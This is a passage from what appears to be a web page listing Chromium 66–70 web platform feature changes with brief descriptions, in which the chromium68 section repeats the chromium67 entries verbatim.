...></code> provides a mechanism for manipulating a host’s cookies via markup. Ideally, we would require access to a host’s HTTP headers, or script-execution capabilities to modify this data. <h3>chromium66 Features:35</h3> <ol> <li>Add and update MHTML headers to support sharing of MHTML pages</li> </ol> To support sharing of MHTML pages, a new header Snapshot-Content-Location will be added. The existing Subject header will be updated to support encoding of non-printable ASCII characters. <ol start="2"> <li>Add autocomplete attribute to <code><textarea></code> and <code><select></code></li> </ol> Add autocomplete attribute to <code><textarea></code> and <code><select></code> as per spec. https://html.spec.whatwg.org/multipage/form-elements.html#the-select-element, https://html.spec.whatwg.org/multipage/form-elements.html#the-textarea-element <ol start="3"> <li>Aligning U2F attestation with webauthn</li> </ol> Chrome has never supported the FIDO U2F API directly1. However, it does ship with an internal extension and it’s possible to implement the U2F API by using postMessage to send messages to this extension. (Description continued in comments.) 1 https://fidoalliance.org/specs/fido-u2f-v1.2-ps-20170411/fido-u2f-javascript-api-v1.2-ps-20170411.html <ol start="4"> <li>Array.prototype.values</li> </ol> The values() method returns a new Array Iterator object that contains the values for each index in the array.var <ol start="5"> <li>Asynchronous Clipboard API</li> </ol> A modern, asynchronous Clipboard API based on Promises. Text-only APIs (clipboard.readText and clipboard.writeText): <ul> <li>Behind a flag in M62</li> <li>Enabled by default in M66</li> </ul> Support for images and other data types is still under development. <ol start="6"> <li>Autocapitalize support on all editable elements and on <code><form></code> elements</li> </ol> Improve compatibility with Safari’s implementation of autocapitalize by: <ul> <li> Supporting autocapitalize attribute on any contenteditable element </li> <li> Allow specifying the autocapitalize attribute on a <code><form></code> element to have it apply to all child form fields </li> </ul> <ol start="7"> <li>CSS Typed OM (Houdini)</li> </ol> The new CSSOM provides typed style access for developers. This will generally improve performance primarily by removing the need to do lots of string parsing. In addition to this, it will enable performant development of various new Houdini specifications (including custom properties, layout and paint). Only a subset of CSS properties are supported for now: https://chromium.googlesource.com/chromium/src/+/master/third_party/WebKit/Source/core/css/cssom/README.md <ol start="8"> <li>CSS calc() in media queries</li> </ol> According to the CSS Values 4 spec, math functions such as calc() should be allowed wherever individual CSS values such as numbers are allowed. However, calc() expressions are not currently parsed in media queries. This change would introduce support for parsing calc() expressions inside of media queries. <ol start="9"> <li>Do not throw on unimplemented but valid keyframe-specific composite values.</li> </ol> By spec, the following should not throw even if additive/accumulative animations are not yet supported by the browser: // Currently throws on Chrome - should not! element.animate( [ { color: ‘red’, composite: ‘accumulate’ }, { color: ‘blue’, composite: ‘add’ } ], 2000); ); Firefox does not throw in this case. <ol start="10"> <li>ECMAScript ⊃ JSON</li> </ol> A Stage 3 proposal makes ECMAScript a syntactic superset of JSON by allowing line separator (U+2028) and paragraph separator (U+2029) in string literals. <ol start="11"> <li>Feature Policy: control over Device Orientation API</li> </ol> The sensor policy-controlled features are used to control access to a device sensors requested through an event specified in the DeviceOrientation Event Specification. By default, the deviceorientation, deviceorientationabsolute and devicemotion events will be restricted to top-level document and same-origin subframes (it follows from features default allow list ‘self’). The default behavior can be modified by explicitly enabling or disabling of the dedicated sensor policy-controlled features. <ol start="12"> <li>Fetch API: AbortSignal and AbortController</li> </ol> A fetch() can be made cancellable by passing an AbortSignal “signal” in the fetch options. Calling abort() on the associated AbortController will then cancel the fetch. <ol start="13"> <li>Fetch API: keepalive</li> </ol> This option instructs fetch() to perform resource fetching with the keepalive flag set for non-blocking event reporting, analytics, etc. as well as the Beacon API (SendBeacon). <ol start="14"> <li>Function.prototype.toString revision</li> </ol> The “implementation-dependent String” returned from Function.prototype.toString() is now a fully-specified String, which is a substring of the source code that defines the function. For example, this preserves whitespace and comments between the “function” keyword and the function name identifier. For functions created with CreateDynamicFunction (such as through <code>new Function()</code>), the String is fully-specified and includes the parameters passed to CreateDynamicFunction. <ol start="15"> <li>Link rel=modulepreload</li> </ol> The new “modulepreload” rel value in <code><link></code> element and Link: header provides a way to initiate early (and high-priority) loading of module scripts. <ol start="16"> <li>Make <code><tr></code> with transform be a containing block.</li> </ol> Elements with table-row, table-row-group, table-header-group, table-footer-group, table-cell, and table-caption that have a transform property should be containing blocks for fixed position elements. Blink currently does not make <code><tr></code>, <code><tbody></code>, <code><tfoot></code>, and <code><thead></code> be a containing block for fixed position elements, which we propose to change. <ol start="17"> <li>Media Capabilities: decoding</li> </ol> This specification intends to provide APIs to allow websites to make an optimal decision when picking media content for the user. This launch is only about exposing the decoding abilities of the device/system/browser. <ol start="18"> <li>MediaStreamTrack.getCapabilities()</li> </ol> Returns the capabilities of the source associated to a MediaStreamTrack. There is also a variant InputDeviceInfo.getCapabilities(), available in the results of MediaDevices.enumerateDevices(). These devices are used as sources for MediaStreamTrack; in this case, getCapabilities() returns the same values as MediaStreamTrack.getCapabilities(). <ol start="19"> <li>Network error when blob URL loading fails</li> </ol> Rather than returning a 404 when attempting to read from a invalid/non-existing Blob URL, these fetches should result in a network error. <ol start="20"> <li>Optional catch binding</li> </ol> This proposal allows the <code>catch</code> clause to exist without a parameter. <ol start="21"> <li>RTCRtpSender: dtmf attribute</li> </ol> This attribute allows access to the DTMF feature of a PeerConnection’s audio track. It is a replacement for the now non-standard CreateDTMFSender function on a PeerConnection. <ol start="22"> <li>Retargeting result of elementFromPoint and elementsFromPoint</li> </ol> Previously elementFromPoint and elementsFromPoint are not per spec, and it may return null incorrectly because it is not retargeting the result correctly. We are fixing it to adhere to the spec by applying the correct retargeting algorithm. <ol start="23"> <li>Send “input” Event on activation behavior for radio and file input type</li> </ol> As per spec, on input activation behavior fires a input event, then a change event for radio and file <code><input ></code> type. <ol start="24"> <li>Send “input” Event on checkbox click</li> </ol> As per spec, click on mutable checkbox fires a click event, then an input event, then a change event. <ol start="25"> <li>Service Worker: Disallow CORS responses for same-origin requests.</li> </ol> With this change, a service worker can no longer respond to a request whose mode is ‘same-origin’ with a response whose type is ‘cors’. This is a security measure added to the Fetch specification via https://github.com/whatwg/fetch/issues/629 and https://github.com/whatwg/fetch/pull/655. <ol start="26"> <li>Service Worker: Non-nullable FetchEvent#clientId</li> </ol> With this change FetchEvent#clientId will return an empty string instead of null when it isn’t set, e.g., for a navigation request. <ol start="27"> <li>Service Worker: Requests from embed and object elements skip service workers</li> </ol> Service workers no longer receive fetch events for requests from embed and object elements. This includes both requests for the main resource itself (the src or data attribute) and for any requests from the resulting context (the plugin or HTML context). This change was made to adhere to the specification, which disallows service worker interception due to security considerations. <ol start="28"> <li>String.prototype.trimStart / String.prototype.trimEnd</li> </ol> Until now, String.prototype.{trimLeft,trimRight} were non-standard language extensions, required for Web compatibility. The Stage 3 proposal at https://github.com/tc39/proposal-string-left-right-trim standardizes this functionality as String.prototype.{trimStart,trimEnd}, and defines String.prototype.{trimLeft,trimRight} as aliases for backwards compatibility. This patch implements that proposal behind the --harmony-string-trimming flag. <ol start="29"> <li>The ImageBitmap rendering context for <code><canvas></code></li> </ol> A new rendering context that streamlines the display of ImageBitmap objects. This new rendering context uses transfer semantics to take ownership of the pixels of an ImageBitmap object, thus avoiding memory duplication and rasterization overhead. <ol start="30"> <li>Unprefix CSS Grid Layout gutter properties</li> </ol> Rename gutter properties to remove “grid-” prefix: <ul> <li>grid-gap => gap</li> <li>grid-row-gap => row-gap</li> <li>grid-column-gap => column-gap</li> </ul> Note that column-gap already exists and is used by css-multicol. The parsing needs to be updated as now the default value is “normal”. The old (prefixed) properties names will be kept working as aliases. <ol start="31"> <li>WebAudio: AudioParam setter is equivalent to setValueAtTime</li> </ol> When setting the value of an AudioParam via the value setter, the value is updated exactly as if setValueAtTime(newValue, context.currentTime). This includes throwing errors that weren’t previously thrown and changing the AudioParam timeline <ol start="32"> <li>WebAudio: Remove dezippering</li> </ol> Historically, Chrome implemented dezippering such that when the value setter of an AudioParam was used, the value was not changed instantaneously. Instead, an exponential approach equivalent to setTargetValueAtTime was done. The actual time constant used was never specified and depended on the AudioParam. With the spec change in https://github.com/WebAudio/web-audio-api/pull/393, (Sep 2015), all dezippering was removed from the spec. Dezippering will be removed from Chrome. <ol start="33"> <li><code>[WebAudio]</code> AudioWorklet</li> </ol> The AudioWorklet allows developers to supply JavaScript to process audio on the audio rendering thread. This processing mechanism ensures the synchronous execution of the author code with other built-in AudioNodes in the audio graph. The AudioWorklet is designed to replace ScriptProcessorNode. ScriptProcessorNode will be deprecated once AudioWorklet is shipped. <ol start="34"> <li>inputmode</li> </ol> The inputmode content attribute is an enumerated attribute that specifies what kind of input mechanism would be most helpful for users entering content into the form control or content editable. <ol start="35"> <li>window.focus() exits HTML5 fullscreen</li> </ol> If a page in fullscreen mode opens a popup and calls window.focus(), that page will exit full screen. This will not occur if the popup receives focus some other way. <h3>chromium67 Features:14</h3> <ol> <li><code><foreignObject></code> will be a stacking context</li> </ol> SVG2 specifies that <code><foreignObject></code> to be a stacking context (*). Previously, Chrome did not follow the SVG2 spec. Making <code><foreignObject></code> a stacking context allows developers to place HTML content underneath a <code><foreignObject></code> without confusion. For example, it wouldn’t make much sense to place content at z-index:1 above the containing SVG. Gecko and Edge already implement this behavior. (*) https://svgwg.org/svg2-draft/single-page.html#render-EstablishingStackingContex <ol start="2"> <li>BigInt: arbitrary-precision integers</li> </ol> JavaScript gets a new numeric primitive that provides support for arbitrary-precision integers. <code>Number</code>s in JavaScript are represented as double-precision floats, giving them limited precision. <code>BigInt</code>s, on the other hand, can safely store and operate on large integers even beyond the safe integer limit for <code>Number</code>s. <ol start="3"> <li>Boolean return value of DOMTokenList replace()</li> </ol> The DOM specification was updated so that DOMTokenList replace() returns a boolean value. This is useful for code which takes different paths depending on whether a replacement occurred, avoiding the need for an extra condition using contains(). <ol start="4"> <li>Cross-Origin Read Blocking (CORB)</li> </ol> Cross-Origin Read Blocking (CORB) is an algorithm that can identify and block dubious cross-origin resource loads in web browsers before they reach the web page. CORB reduces the risk of leaking sensitive data by keeping it further from cross-origin web pages. In most browsers, it keeps such data out of untrusted script execution contexts. In browsers with Site Isolation, it can keep such data out of untrusted renderer processes entirely, helping even against side channel attacks like Spectre. <ol start="5"> <li>Customized built-in elements</li> </ol> Authors can now create custom elements which inherit from the semantics of native, built-in elements. This is helpful when web authors want to add features to their custom elements, but they cannot be implemented in CSS or JavaScript though the features are available in built-in elements. <ol start="6"> <li>Fixes to modifier flags on AltGraph-shifted keydown/keypress/keyup events under Windows.</li> </ol> In Windows the right-hand Alt key serves as AltGraph (ISO-Level-3-Shift) on some layouts (for example, many European language layouts), to allow generating additional printable characters. Internally the key generates Ctrl+Alt modifiers, so that Chrome reports all of Control, Alt and AltGraph in the flags for these keys. In this change, Chrome distinguishes AltGraph from Ctrl+Alt under Windows for consistency with modifiers on other platforms. See the comments for how this helps developers. <ol start="7"> <li>Motion sensors APIs based on Generic Sensor API</li> </ol> Motion sensors extends the Generic Sensor API to expose a set of low-level and fusion sensors. This feature includes JS interfaces representing accelerometers, linear acceleration sensors, gyroscopes, absolute orientation sensors and relative orientation sensors. <ol start="8"> <li>RTCRtpSender/RTCRtpReceiver.getStats and RTCPeerConnection.getStats(MediaStreamTrack?)</li> </ol> New WebRTC implementations provided a filtered view of the statistics returned by getStats() in RTCRtpSender, RTCRtpReceiver, and RTCPeerConnection, returning only stats that are relevant to the sender, receiver, or track. This change adds convenience for developers by requiring less code for filtering. Because this is based on the spec it increases cross-browser compatibility. <ol start="9"> <li>Send mouse back/forward buttons to javascript</li> </ol> Web pages can now process mouse events (mousedown, auxclick, mouseup) for back and forward buttons on mice with five or more buttons. This allows back and forward mouse buttons to be prevented by applications that wish to override them. For example they may be useful for games. <ol start="10"> <li>Slots in a flat tree</li> </ol> The <code><slot></code> element can now participate in a flat (layout) tree, with UA style: display: contents. Before this change, applying a CSS selector to a <code><slot></code> element had no effect. Not only is this fixed, when selectors are applied to a <code><slot></code> element, it’s children inherit its styles. <ol start="11"> <li>Streams API: TransformStream</li> </ol> TransformStream is part of the Streams API for creating, composing, and consuming streams of data. It enables transforming data in stream form. It is typically used in a pipe between a ReadableStream and a WritableStream. <ol start="12"> <li>Web Authentication API for Chrome</li> </ol> The Credential Management API (Chrome 51 and later) defined a framework for retrieving credentials, including semantics for creating, getting, and storing them. It did this through two credential types: PasswordCredential and FederatedCredential. The Web Authentication API adds a third credential type, PublicKeyCredential, which allows web applications to create and use strong, cryptographically attested, and application-scoped credentials to strongly authenticate users. <ol start="13"> <li>-webkit-box-flex-group, -webkit-box-lines, % values of -webkit-line-clamp</li> </ol> -webkit-box-flex-group - This property has virtually zero usage based on the UseCounter on stable. % values of -webkit-line-clamp - There is interest in finding a standards based solution to the number values usecase, but we haven’t seen demand for the %-based values. -webkit-box-lines - This property was never fully implemented. It was originally intended such that a “vertical”/”horizontal” -webkit-box can have multiple rows/columns. <ol start="14"> <li>Intent to Deprecate & Remove: Change how New Formatting Contexts sized and positioned off a shape area.</li> </ol> The shape-outside property allows web developers to wrap text around a float with a non-rectangular area. In our implementation this also currently affects how new formatting contexts are sized and positioned. We want to change how they are sized and positioned, similar to how floats are positioned (based off the bounding area instead). <h3>chromium68 Features:33</h3> <ol> <li><code><foreignObject></code> will be a stacking context</li> </ol> SVG2 specifies that <code><foreignObject></code> to be a stacking context (*). Previously, Chrome did not follow the SVG2 spec. Making <code><foreignObject></code> a stacking context allows developers to place HTML content underneath a <code><foreignObject></code> without confusion. For example, it wouldn’t make much sense to place content at z-index:1 above the containing SVG. Gecko and Edge already implement this behavior. (*) https://svgwg.org/svg2-draft/single-page.html#render-EstablishingStackingContex <ol start="2"> <li>BigInt: arbitrary-precision integers</li> </ol> JavaScript gets a new numeric primitive that provides support for arbitrary-precision integers. <code>Number</code>s in JavaScript are represented as double-precision floats, giving them limited precision. <code>BigInt</code>s, on the other hand, can safely store and operate on large integers even beyond the safe integer limit for <code>Number</code>s. <ol start="3"> <li>Boolean return value of DOMTokenList replace()</li> </ol> The DOM specification was updated so that DOMTokenList replace() returns a boolean value. This is useful for code which takes different paths depending on whether a replacement occurred, avoiding the need for an extra condition using contains(). <ol start="4"> <li>Cross-Origin Read Blocking (CORB)</li> </ol> Cross-Origin Read Blocking (CORB) is an algorithm that can identify and block dubious cross-origin resource loads in web browsers before they reach the web page. CORB reduces the risk of leaking sensitive data by keeping it further from cross-origin web pages. In most browsers, it keeps such data out of untrusted script execution contexts. In browsers with Site Isolation, it can keep such data out of untrusted renderer processes entirely, helping even against side channel attacks like Spectre. <ol start="5"> <li>Customized built-in elements</li> </ol> Authors can now create custom elements which inherit from the semantics of native, built-in elements. This is helpful when web authors want to add features to their custom elements, but they cannot be implemented in CSS or JavaScript though the features are available in built-in elements. <ol start="6"> <li>Fixes to modifier flags on AltGraph-shifted keydown/keypress/keyup events under Windows.</li> </ol> In Windows the right-hand Alt key serves as AltGraph (ISO-Level-3-Shift) on some layouts (for example, many European language layouts), to allow generating additional printable characters. Internally the key generates Ctrl+Alt modifiers, so that Chrome reports all of Control, Alt and AltGraph in the flags for these keys. In this change, Chrome distinguishes AltGraph from Ctrl+Alt under Windows for consistency with modifiers on other platforms. See the comments for how this helps developers. <ol start="7"> <li>Motion sensors APIs based on Generic Sensor API</li> </ol> Motion sensors extends the Generic Sensor API to expose a set of low-level and fusion sensors. This feature includes JS interfaces representing accelerometers, linear acceleration sensors, gyroscopes, absolute orientation sensors and relative orientation sensors. <ol start="8"> <li>RTCRtpSender/RTCRtpReceiver.getStats and RTCPeerConnection.getStats(MediaStreamTrack?)</li> </ol> New WebRTC implementations provided a filtered view of the statistics returned by getStats() in RTCRtpSender, RTCRtpReceiver, and RTCPeerConnection, returning only stats that are relevant to the sender, receiver, or track. This change adds convenience for developers by requiring less code for filtering. Because this is based on the spec it increases cross-browser compatibility. <ol start="9"> <li>Send mouse back/forward buttons to javascript</li> </ol> Web pages can now process mouse events (mousedown, auxclick, mouseup) for back and forward buttons on mice with five or more buttons. This allows back and forward mouse buttons to be prevented by applications that wish to override them. For example they may be useful for games. <ol start="10"> <li>Slots in a flat tree</li> </ol> The <code><slot></code> element can now participate in a flat (layout) tree, with UA style: display: contents. Before this change, applying a CSS selector to a <code><slot></code> element had no effect. Not only is this fixed, when selectors are applied to a <code><slot></code> element, it’s children inherit its styles. <ol start="11"> <li>Streams API: TransformStream</li> </ol> TransformStream is part of the Streams API for creating, composing, and consuming streams of data. It enables transforming data in stream form. It is typically used in a pipe between a ReadableStream and a WritableStream. <ol start="12"> <li>Web Authentication API for Chrome</li> </ol> The Credential Management API (Chrome 51 and later) defined a framework for retrieving credentials, including semantics for creating, getting, and storing them. It did this through two credential types: PasswordCredential and FederatedCredential. The Web Authentication API adds a third credential type, PublicKeyCredential, which allows web applications to create and use strong, cryptographically attested, and application-scoped credentials to strongly authenticate users. <ol start="13"> <li>-webkit-box-flex-group, -webkit-box-lines, % values of -webkit-line-clamp</li> </ol> -webkit-box-flex-group - This property has virtually zero usage based on the UseCounter on stable. % values of -webkit-line-clamp - There is interest in finding a standards based solution to the number values usecase, but we haven’t seen demand for the %-based values. -webkit-box-lines - This property was never fully implemented. It was originally intended such that a “vertical”/”horizontal” -webkit-box can have multiple rows/columns. <ol start="14"> <li>Intent to Deprecate & Remove: Change how New Formatting Contexts sized and positioned off a shape area.</li> </ol> The shape-outside property allows web developers to wrap text around a float with a non-rectangular area. In our implementation this also currently affects how new formatting contexts are sized and positioned. We want to change how they are sized and positioned, similar to how floats are positioned (based off the bounding area instead). <h3>chromium69 Features:35</h3> <ol> <li>Add RTCRtpParameters.headerExtensions</li> </ol> This change adds support for the RTCRtpParameters.headerExtensions dictionary entry which is returned by RTCRtpSender.getParameters(). This is a read-only field that allows inspection of the parameters that are set on a PeerConnection after negotiation. <ol start="2"> <li>Array.prototype.{flat,flatMap}</li> </ol> JavaScript arrays are getting two new methods. <code>Array.prototype.flat()</code> returns a new array with all sub-array elements concatenated into it recursively up to the specified depth. The sub-array elements become members of the new array. <code>Array.prototype.flatMap()</code> first maps each element using a mapping function, then flattens the result into a new array. This method is functionally equivalent to a map followed by a flatten of depth 1. <ol start="3"> <li>Background Tab Resource Load Throttling</li> </ol> For invisible frames e.g. ones in background tabs, Chrome set a per-frame simultaneous loading limit; 3 for the top frame, 2 for sub-frames are permitted to go to the network stack. Excessive requests are enqueued and go when the previous request finishes. Thus, all requests will run eventually. Most fetches made by HTML elements / CSS are throttleable. WebSockets, WebRTC’s data channel, Fetch API, XMLHttpRequest, EventSource, Video and Audio are excluded today to allow keep-alive connections. <ol start="4"> <li>CSP3: unsafe-hashes</li> </ol> ‘unsafe-hashes’ is a feature in CSP3 which allows developers to enable specific event handlers without needing to use the less safe ‘unsafe-inline’ keyword. If ‘unsafe-hashes’ is present, inline event handlers are allowed to match against hashes specified by the ‘script-src’ directive (or its fallback if not present). <ol start="5"> <li>CSP: <code>report-to</code> directive</li> </ol> The <code>report-to</code> directive wires CSP violation reports up to the Reporting API which allows the browser to bundle multiple reports when sending them to the server rather than creating a POST for each individual report. This allows reports to be collected in a way that is friendlier for users’ batteries. This change also deprecates the existing <code>report-uri</code> directive. <ol start="6"> <li>CSS Scroll Snap Points</li> </ol> The CSS scroll snap specification introduces snap points as a way to “enforce the scroll offsets that a scroll container’s visual viewport may end at after a scrolling operation has completed”. Scroll snapping applies to both user scroll operations such as touch, wheel scrolling, or scrollbar dragging, and programmatic scroll operations such as Element.scrollTo(). This improves the user experience by allowing scrollable zones to easily stop at predefined points. <ol start="7"> <li>CSS conic-gradient</li> </ol> Support was added for CSS conic (angular/sweep) gradients. Conic gradients allow color transitions around a center rather than radiating from it. This allows, for example, a web developer to create a hue wheel using only two CSS properties. <ol start="8"> <li>CSS logical flow relative margins, paddings and borders</li> </ol> Chrome now implements logical margin, padding, and border CSS properties using standard names, specifically margin-{block,inline}-{start,end}, padding-{block,inline}-{start,end} and border-{block,inline}-{start,end}-{width,style,color}. These capabilities were previously supported through -webkit prefixes and non-standard names. Shorthand properties are only added for border-{block,inline}-{start,end}. <ol start="9"> <li>Deprecation Reports</li> </ol> A new feature of the Reporting API gives developers more insight into the functioning of their code on client machines. Deprecation reports allow deprecation warnings, currently only available in developer tool consoles, to be sent to the back end, or captured in callbacks using ReportingObserver. <ol start="10"> <li>Display cutout and CSS env() support</li> </ol> Display cutouts are now supported in Chrome through CSS environment variables and the viewport-fit meta tag. This allows developers to take advantage of the entire screen on devices that have a display cutout. <ol start="11"> <li>Element.toggleAttribute</li> </ol> A new method named Element.toggleAttribute() allows toggling the existence of an element’s attribute in a way similar to Element.classList.toggle. An optional force parameter forces toggling the attribute even if it doesn’t exist. This makes managing boolean attributes much simpler as the interface doesn’t use strings as does Element.setAttribute(). <ol start="12"> <li>Fetch API: Request.isHistoryNavigation</li> </ol> Add a boolean property to request objects to indicate whether the particular request is a history navigation. This allows a service worker to know whether a request was due to a back/forward navigation. An example of how this might be used is that a service worker could respond to such a navigation with a cached response. <ol start="13"> <li>Keyboard Map</li> </ol> This API returns a map which translates from KeyboardEvent.code values into strings that can be shown to the user to identify each key. This is not possible with existing web platform APIs because the value that should be shown to the user depends on the keyboard layouts that the user has installed and activated. <ol start="14"> <li>Nested dedicated workers</li> </ol> This allows workers to spawn additional, descendant dedicated workers. This can be used to better distribute tasks without needing time on the main thread where rendering and user input are being handled. This also allows libraries which use workers to be adapted to run in a worker context themselves, giving developers more options to move business logic off of the main thread. <ol start="15"> <li>Network Error Logging</li> </ol> This feature defines a mechanism that enables developers to declare a network error reporting policy for a web application via the <code>NEL</code> header. A user agent can use this policy to report encountered network errors that prevented it from successfully fetching requested resources. This is done through the common Reporting API. <ol start="16"> <li>OffscreenCanvas</li> </ol> OffscreenCanvas is a new interface that allows canvas rendering contexts (2D and WebGL) to be used in Workers. Making canvas rendering contexts available to workers increases parallelism in web applications, leading to improved performance on multi-core systems. As part of the required tooling for this to work, this also launches DedicatedWorker.requestAnimationFrame(), allowing animation-like events to be triggered the same on dedicated workers as they are in Window. <ol start="17"> <li>RTCRtpSender / RTCRtpReceiver.getCapabilities()</li> </ol> The getCapabilities() method returns the most optimistic view of the capabilities of the system for sending media of the given kind. It does not reserve any resources, ports, or other state but is meant to provide a way to discover the types of capabilities of the browser including which codecs or RTP extensions may be supported. <ol start="18"> <li>Reporting API</li> </ol> The Reporting API defines a generic reporting framework which allows web developers to associate a set of named reporting endpoints with an origin. Various platform features (like Content Security Policy, Network Error Reporting, and others) will use these endpoints to deliver feature-specific reports in a consistent manner. <ol start="19"> <li>ReportingObserver</li> </ol> A new feature of the Reporting API gives developers more insight into the functioning of their code on client machines. The ReportingObserver API allows JavaScript to capture reports in callback, which can be used to save custom reporting data to page analytics. <ol start="20"> <li>ServiceWorkerRegistration.update() resolves with a registration.</li> </ol> ServiceWorkerRegistration.update() previously resolved with undefined. Now it resolves to the registration object as required by the specification. <ol start="21"> <li>Stylesheets activated after the body is started do not block paint</li> </ol> External stylesheets in the body of the document or that get activated after the body has started to be parsed will no longer block paint but they will pause the parser. The end result is that any DOM content before the body stylesheet will continue to paint but content after the stylesheet will not appear until after the stylesheet has loaded. <ol start="22"> <li>Support for CTAP2 FIDO devices via the Web Authentication API</li> </ol> This feature adds support for CTAP2 devices, which provide advanced security capabilities such as biometric authentication and resident keys (keys stored on the device). The WebAuthentication API (https://www.chromestatus.com/feature/5669923372138496) formerly only supported Universal 2nd Factor (U2F, also known as CTAP1 ) devices at the transport layer. This change doesn’t alter the API surface itself but enables richer device interactions via the existing Web Authentication API. <ol start="23"> <li>TLS 1.3 certificate compression with Brotli</li> </ol> TLS 1.3 encrypts the server’s certificates. With that protection in place, we finally have the confidence that we can implement certificate compression without causing middlebox issues. Certificate compression is an IETF TLS WG draft (https://tools.ietf.org/html/draft-ietf-tls-certificate-compression-03) and we plan on implementing that specification, supporting the Brotli algorithm. <ol start="24"> <li>Three new network quality client hints</li> </ol> Support for the “rtt”, “downlink”, and “ect” client hint values and HTTP request headers have been added to Chrome to convey Chrome’s network connection speed to servers. These network quality hints provide the same values as existing Network Information APIs navigator.connection.rtt, navigator.connection.downlink, and navigator.connection.effectiveType. <ol start="25"> <li>Web Locks API</li> </ol> This API allows scripts running in one tab to asynchronously acquire a lock, hold it while work is performed, then release it. While held, no other script in the origin can acquire the same lock. A lock represents some potentially shared resource, identified by a name chosen by the web app. For example, if a web app running in multiple tabs wants to ensure that only one tab is syncing to the network, each tab could try to acquire a “my_net_sync” lock, but only one tab will succeed. <ol start="26"> <li>WebAssembly Import/Export Mutable Globals</li> </ol> Allows WebAssembly modules to import and export mutable globals. This building block will allow efficient passing of values like shadow stacks pointers between dynamically linked modules (especially in the multi-threaded case). <ol start="27"> <li>WebAssembly Sign Extension Opcodes</li> </ol> Add sign extension opcodes to WebAssembly. This makes some code sequences shorter and allows us to provide only zero extended versions of atomic opcodes for threads. <ol start="28"> <li>WebRTC RTCRtpTransceiver in Unified Plan</li> </ol> When spec-complaint SDP format “Unified Plan” is used, RTCRtpTransceiver describes each sender-receiver pair that is added to the RTCPeerConnection. This represents the components used to send and receive media. Exposing the transceiver gives the application the ability to receive media early and provides more control over the generated SDP. APIs that are shipping include RTCRtpTransceiver, RTCPeerConnection.addTransceiver() and RTCPeerConnection.getTransceivers(). <ol start="29"> <li>performance.memory improvements</li> </ol> The performance.memory property is a non-standard API, seeing significant usage from some of our partners. With this change, if the renderer is locked to a site reported values will not contain coarse quantization and delay. This will allow developers to detect performance regressions from user data more easily because the memory measurements will be more accurate and can be taken more frequently. <ol start="30"> <li>service worker: Don’t expose the API to insecure contexts.</li> </ol> Because of a technical limitation, navigator.serviceWorker was previously exposed on insecure contexts and threw a Security Error when used. After this change, navigator.serviceWorker will return undefined. This aligns with the specification. <ol start="31"> <li>Deprecate And Remove Support For Invalid DNS Names</li> </ol> We have a security vulnerability that is rather long in the tooth (not yet public) that depends, in part, on our DNS resolver’s willingness to attempt to resolve arbitrary garbage strings, including strings that could not ever be valid hostnames. I propose to remove support for such requests in our DNS resolution code, and attempt only to resolve legal hostnames (“preferred name syntax”). Additionally, I propose we accept underscores (_) in names. (See the measurement CL.) <ol start="32"> <li>Remove ‘stalled’ events for HTMLMediaElements using MediaSourceExtensions</li> </ol> The HTMLMediaElement.stalled event fires when media download has failed to progress for at least 3 seconds. In Media Source Extensions, the web app manages the download and the media element is not aware of its progress. Since some apps append media data in chunks larger than 3 seconds, stalled was being fired at inappropriate times. To solve this, stalled has been removed for Media Source Extensions. <ol start="33"> <li>Remove document.createTouchList</li> </ol> The document.createTouchList() method is being removed because the Touch() constructor has been supported since Chrome 48. <ol start="34"> <li>Remove extra form data , if “value” attribute is present with non-empty value for <code><input type=”image”></code></li> </ol> As per spec, https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#constructing-form-data-set, the constructed “form data set” should not include the value of the image button <ol start="35"> <li>window.confirm() will not activate parent page</li> </ol> If a document in a background tab calls window.confirm() then the call to confirm() will return immediately with false, and no dialog will be shown to the user. If the tab is active, then the call will show a dialog. Specifically, this removes the ability to use window.confirm() to bring a tab to the front against the user’s will. <h3>chromium70 Features:25</h3> <ol> <li>RTCPeerConnection.id (Origin Trial)</li> </ol> RTCPeerConnection.id provides a string that identifies an RTCPeerConnection. This is useful when a peer connection needs to be referenced outside the JavaScript context, for example, on the server side, or by a logging mechanism. <ol start="2"> <li>‘name’ attribute for dedicated workers</li> </ol> This feature allows specifying the worker’s name in an optional constructor argument. This lets you distinguish dedicated workers by name when you have multiple workers with the same URL. Developers can print ‘name’ in the DevTools console which will make it easier to debug workers. When the ‘name’ param is omitted, an empty string is used as the default value. For more information, see the discussion at https://github.com/whatwg/html/issues/2477. <ol start="3"> <li>AV1 Decoder</li> </ol> AV1 is a next generation codec developed by the Alliance for Open Media. AV1 improves compression efficiency by 30% over the current state-of-the-art video codec, VP9. The AV1 decoder will be added to Chrome Desktop x86 devices (Windows, macOS, Linux, Chrome OS) based on the official bitstream specification. At this time, support is limited to “Main” profile 0 and does not include encoding capabilities. The supported container is ISO-BMFF (MP4). <ol start="4"> <li>Add referrerpolicy support to <code><script></code> elements</li> </ol> Many resource-fetching elements have support for the <code>referrerpolicy</code> attribute, which lets developers provide a keyword to influence the value of the <code>Referer</code> HTTP header that accompanies a request. The <code><link></code> element has support for this, so it is technically possible to preload a script with a developer-set referrer policy even though the <code><script></code> element does not have support for this attribute. This feature adds <code>referrerpolicy</code> support to the <code><script></code> element. <ol start="5"> <li>Displaying a dialog will cause pages to lose fullscreen</li> </ol> Dialogs (e.g. authentication prompts, payments, filepickers) require proper context for users to make decisions. Fullscreen, by definition is immersive, and removes the context that a user needs to make a decision. Therefore, whenever a page causes a dialog to be shown, that page will lose any HTML5 fullscreen that it has entered. <ol start="6"> <li>Intervention Reports</li> </ol> An intervention is when a user agent does not honor an application request for security, performance, or annoyance reasons. With this change, Chrome will both send the report to your servers using the Report-To HTTP Response header field and surface the report in the ReportingObserver interface. <ol start="7"> <li>Intervention: Disable scripts for Data Saver users on slow connections</li> </ol> If a Data Saver user is on a 2G-speed or slower network according to the NetInfo API, Chrome disables scripts and sends an intervention header on every resource request. Users are shown a Lite Mode UI in the omnibox. Users can enable scripts on the page by tapping “Show original” in the omnibox UI. An intervention report is sent when this optimization occurs. <ol start="8"> <li>Options dictionary for postMessage methods</li> </ol> An optional PostMessageOptions object is being added to the postMessage() function for 6 of the 7 interfaces where it’s supported, specifically, DedicatedWorkerGlobalScope, Worker, ServiceWorker, ServiceWorker, and Window. This gives the function a similar interface on its definitions and allows it to be extended in the future. Since broadcastChannel.postMessage() doesn’t take additional arguments (such as transfer) it is not being changed. <ol start="9"> <li>RTCPeerConnection.getConfiguration()</li> </ol> This change implements getConfiguration() according to the WebRTC 1.0. Specifically it returns the last configuration applied via setConfiguration(), or if setConfiguration() hasn’t been called, the configuration the RTCPeerConnection was constructed with. <ol start="10"> <li>Remove OS build number from user-agent string</li> </ol> The OS build 